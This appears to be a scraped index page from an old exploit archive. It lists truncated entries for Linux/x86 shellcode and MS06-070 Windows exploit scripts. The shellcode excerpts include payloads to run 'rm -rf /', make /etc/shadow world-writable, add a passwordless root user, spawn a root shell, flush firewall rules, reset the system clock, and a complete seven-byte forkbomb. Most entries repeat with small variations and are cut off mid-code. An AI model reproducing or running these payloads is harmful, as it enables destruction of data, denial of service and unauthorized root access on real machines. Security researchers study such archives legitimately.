linux/x86 chmod 0666 /etc/shadow 36 bytes

No description provided by source. / By Kris Katterjohn 8/29/2006 36 byte shellcode to chmod"/etc/shadow", 0666 and exit for Linux/x86 To remove exit: Remove the last 5 bytes 0x6a - 0x80 section .text global start start: xor edx, edx push byte 15 pop eax push edx push byte 0x77 push word 0x6f64...

linux/x86 execve(rm -rf /) shellcode 48 bytes

No description provided by source. / By Kris Katterjohn 8/31/2006 48 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global start start: ; execve"/bin/rm", "/bin/rm", "-r", "-f", "/", NULL , NULL push byte 11 pop eax xor esi, esi push esi push byte 0x2f mov edi, esp push esi push...

linux/x86 set system time to 0 and exit 15 bytes

No description provided by source. / By Kris Katterjohn 11/14/2006 15 byte shellcode to set system time to 0 and exit. No real damage : exit code is the last 5 bytes 0x6a - 0x80 for Linux/x86 section .text global start start: ; stime0 push byte 25 pop eax xor ecx, ecx push ecx mov ebx, esp int 0x...

linux/x86 forkbomb 7 bytes

No description provided by source. / By Kris Katterjohn 8/29/2006 7 byte shellcode for a forkbomb section .text global start start: push byte 2 pop eax int 0x80 jmp short start / main char shellcode = "\x6a\x02\x58\xcd\x80\xeb\xf9"; void shellcode;...

linux/x86 /sbin/ipchains -F 41 bytes

No description provided by source. / By Kris Katterjohn 11/15/2006 41 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax xor edx, edx push edx push word 0x462d mov ecx, esp push edx pu...

MS Windows NetpManageIPCConnect Stack Overflow Exploit (py)

Exploit for unknown platform in category remote exploits =========================================================== MS Windows NetpManageIPCConnect Stack Overflow Exploit py =========================================================== !/usr/bin/python MS06-070 Windows WorkStation...

Microsoft Windows - NetpManageIPCConnect Remote Stack Overflow (MS06-070) (Python)

Microsoft Windows - NetpManageIPCConnect Remote Stack Overflow MS06-070 Python !/usr/bin/python MS06-070 Windows WorkStation NetpManageIPCConnect Vulnerability Exploit Tested on windows 2000 server SP4 Usage: python NetAPI-NetrJoinDomain2.py Requires a domain controller on the network configure...

linux/x86 setuid(0) + execve(/bin/sh) 28 bytes

No description provided by source. / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode once again... setuid 6 bytes + execve 22 bytes = 28 bytes Same as revenge-execve.c we start the 2 system calls with a mov resulting in 2 bytes less, but th...

linux/x86 add root user r00t with no password to /etc/passwd 69 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 add root user r00t with no password to /etc/passwd 69 bytes ===================================================================== / By Kris Katterjohn 11/14/2006 69...

linux/x86 - execverm -rf / shellcode 45 bytes

linux/x86 execverm -rf / shellcode 45 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 45 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global start start: ; execve"/bin/rm", "/bin/rm", "-r", "-f", "/", NULL , NULL push byte 11 pop eax cdq push edx pus...

linux/x86 execve(rm -rf /) shellcode 45 bytes

Exploit for linux/x86 platform in category shellcode ============================================= linux/x86 execverm -rf / shellcode 45 bytes ============================================= / By Kris Katterjohn 11/18/2006 45 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global sta...

linux/x86 chmod 0666 /etc/shadow 36 bytes

Exploit for linux/x86 platform in category shellcode ========================================= linux/x86 chmod 0666 /etc/shadow 36 bytes ========================================= / By Kris Katterjohn 8/29/2006 36 byte shellcode to chmod"/etc/shadow", 0666 and exit for Linux/x86 To remove exit:...

linux/x86 forkbomb 7 bytes

Exploit for linux/x86 platform in category shellcode ========================== linux/x86 forkbomb 7 bytes ========================== / By Kris Katterjohn 8/29/2006 7 byte shellcode for a forkbomb section .text global start start: push byte 2 pop eax int 0x80 jmp short start / main char shellcode...

linux/x86 set system time to 0 and exit 12 bytes

No description provided by source. / By Kris Katterjohn 11/18/2006 12 byte shellcode to set system time to 0 and exit. No real damage : exit code is the last 5 bytes 0x6a - 0x80 for Linux/x86 section .text global start start: ; stime0 push byte 25 pop eax cdq push edx mov ebx, esp int 0x80 ; exit...

linux/x86 - forkbomb 7 bytes

linux/x86 forkbomb 7 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 8/29/2006 7 byte shellcode for a forkbomb section .text global start start: push byte 2 pop eax int 0x80 jmp short start / main char shellcode = "\x6a\x02\x58\xcd\x80\xeb\xf9"; void shellcode; // milw0rm.com...

linux/x86 execve(/bin/sh) 22 bytes

No description provided by source. / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode http://www.0xcafebabe.it [email protected] But this time it's 22 bytes We could start the shellcode with a mov instead of pus...

linux/x86 - set system time to 0 and exit 12 bytes

linux/x86 set system time to 0 and exit 12 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 12 byte shellcode to set system time to 0 and exit. No real damage : exit code is the last 5 bytes 0x6a - 0x80 for Linux/x86 section .text global start start: ; stime0 push byte...

linux/x86 /sbin/ipchains -F 40 bytes

No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...

linux/x86 /sbin/ipchains -F 40 bytes

Exploit for linux/x86 platform in category shellcode ==================================== linux/x86 /sbin/ipchains -F 40 bytes ==================================== / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ;...

linux/x86 - /sbin/ipchains -F 40 bytes

linux/x86 /sbin/ipchains -F 40 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word...